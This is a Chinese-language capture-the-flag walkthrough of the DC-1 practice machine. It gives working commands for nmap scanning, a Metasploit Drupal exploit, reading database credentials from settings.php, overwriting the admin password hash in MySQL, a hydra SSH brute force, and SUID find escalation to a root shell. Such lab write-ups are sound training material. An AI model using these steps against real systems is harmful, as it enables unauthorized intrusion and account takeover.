1. 程式人生 > 其它 >DC-1靶機復現

DC-1靶機復現

靶機下載:https://www.five86.com/

一、主機掃描

(kali作為攻擊機和DC靶機都做了NAT地址,都在同一網段中)

1.利用 arp-scan -l 命令掃描同網段內的其他存活主機。

2.利用nmap工具來對目標靶機進行探測

nmap -A 192.168.1.131 -p-

或者:nmap -p 1-65535 -A -sV 192.168.1.131

發現開放了80、22和111埠。80和22埠可以進行攻擊,111埠一般是rpcbind漏洞(該漏洞可使攻擊者在遠端rpcbind繫結主機上分配任意大小的記憶體(每次攻擊最高可達4GB),除非程序崩潰,或者管理員掛起/重啟rpcbind服務,否則該記憶體不會被釋放。)不考慮使用。

二、資訊收集

上述探測發現有80埠,先進行訪問。

利用Firefox的Wappalyzer外掛發現管理系統為Drupal 7.x版本(Drupal是使用PHP語言編寫的開源內容管理框架(CMF),它由內容管理系統(CMS)和PHP開發框架(Framework)共同構成,)。網上查詢得Drupal 7.x版本存在漏洞,可以利用msf進行攻擊。

三、漏洞攻擊

1.使用msf進行攻擊。

使用serach Drupal查詢可利用的指令碼所在:

設定RHOST和payload進行攻擊

寫入互動式shell python -c 'import pty;pty.spawn("/bin/bash");'

2.進入系統後檢視可利用的資訊

ls檢視發現有flag1.txt檔案,cat flag1.txt,發現提示資訊:

Every good CMS needs a config file - and so do you. (每個好的 CMS 都需要一個配置檔案 - 你也是。)

提示配置檔案。發現在sites/default中有settings.php配置檔案。檢視settings.php,發現flag2

flag2
Brute force and dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?
蠻力和字典攻擊不是
獲得訪問許可權的唯一方法(您將需要訪問許可權)。
你可以用這些憑據做什麼?

除此之外還在下方發現了資料庫使用者密碼配置:

username="dbuser" password="R0ck3t"

用到mysql資料庫,檢視是否在執行 ps aux | grep mysql

3.進入資料庫

mysql正在執行,用剛才發現的密碼進入資料庫

檢視資料庫中的使用者資訊
show databases; (檢視資料庫)

use drupaldb; (選擇資料使用)

show tables; (查看錶)

查詢到users表,查看錶資訊
select * from users;

發現密碼是進過加密的,重置密碼,可利/scripts/password-hash.sh指令碼進行生成新密碼。

進到資料庫中修改admin的密碼值
update users set pass="$S$D8KXQGlApiiMM/WwXJ8mPy5cmDfSBSYfizBVH8z0Rm9.0vM0T12D" where uid=1;

3.登入到系統

密碼修改成功後,登入到網站:

發現flag3

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的PERMS 將幫助查詢passwd——但是您需要-exec 該命令來確定如何獲取shadow中的內容。

檢視/etc/passwd檔案

發現flag,該伺服器開放了22埠,可以用hydra工具進行爆破
hydra -l flag4 -P /usr/share/john/password.lst 192.168.1.131 ssh -vV -f -o hydra.ssh

拿到密碼 login:flag4 password:orange,用ssh登入

四、提權

按許可權查詢檔案,如果錯誤則重定向到“黑洞”
-perm:按照許可權查詢
-type:查是塊裝置b、目錄d、字元裝置c、管道p、符號連結l、普通檔案f
-u=s:擁有者是s許可權
S許可權:設定使檔案在執行階段具有檔案所有者的許可權,相當於臨時擁有檔案所有者的身份. 典型的檔案是passwd. 如果一般使用者執行該檔案, 則在執行過程中, 該檔案可以獲得root許可權, 從而可以更改使用者的密碼。

find / -perm -u=s -type f 2>/dev/null

發現find檔案,這個檔案是有root許可權的,且在這個許可權下可讀可寫可執行。

shell命令

find ./ aaa -exec '/bin/sh' \;

得到root許可權,檢視root下的flag檔案

結束。